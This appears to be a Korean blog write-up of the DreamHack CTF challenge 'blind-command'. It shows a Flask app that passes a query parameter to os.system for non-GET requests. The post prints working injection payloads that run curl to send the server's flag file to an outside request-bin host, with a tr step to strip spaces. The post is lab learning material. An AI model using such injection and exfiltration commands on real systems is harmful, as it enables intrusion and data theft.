CIDY
[Web_Hacking] stage10_문제풀이(blind-command) 본문
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
app코드 자체는 짧다.
인자 준 대로 리턴하는데... GET말고 다른걸로 해야 else문이 실행되면서 system에 대한 cmd가 실행될 듯 하다.
이것저것 알아보던 차에 burp suite를 이용하면 사용 가능한 메소드를 확인할 수 있다기에 설치했다.
HEAD, GET, OPTION이 이용 가능하다. -> HEAD쓰면 될듯.
(*위와 같은 확인은 OPTIONS를 forward해서 가능하다.)
그리고 서버에 있을 flag파일을 드림핵에서 제공하는 requestbin을 이용해 전송받도록 하자.
http://host3.dreamhack.games:21332/?cmd=curl https://uujuyub.request.dreamhack.games -d $(cat flag.py)
잘 갔다.
엥 이게뭐람.. 중간에 공백때문에 끊겼나보다.
드랍하고 다시 전송해주자. (물론 메소드는 HEAD로 변경해준 다음 forward해야 한다.)
http://host3.dreamhack.games:21332/?cmd=curl https://uujuyub.request.dreamhack.games -d $(cat flag.py | tr -d " ")
공백을 없앴더니 잘 출력된다!
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Web_Hacking] AD(client): stage2_문제풀이(XSS Filtering Bypass) (0) | 2022.07.31 |
---|---|
[Web_Hacking] AD(client): stage1_XSS Filtering Bypass-1 (0) | 2022.07.30 |
[Web_Hacking] stage10_문제풀이(Carve Party) (0) | 2022.07.30 |
[Web_Hacking] stage9_문제풀이(web-ssrf) (0) | 2022.07.30 |
[Web_Hacking] stage9_SSRF (0) | 2022.07.30 |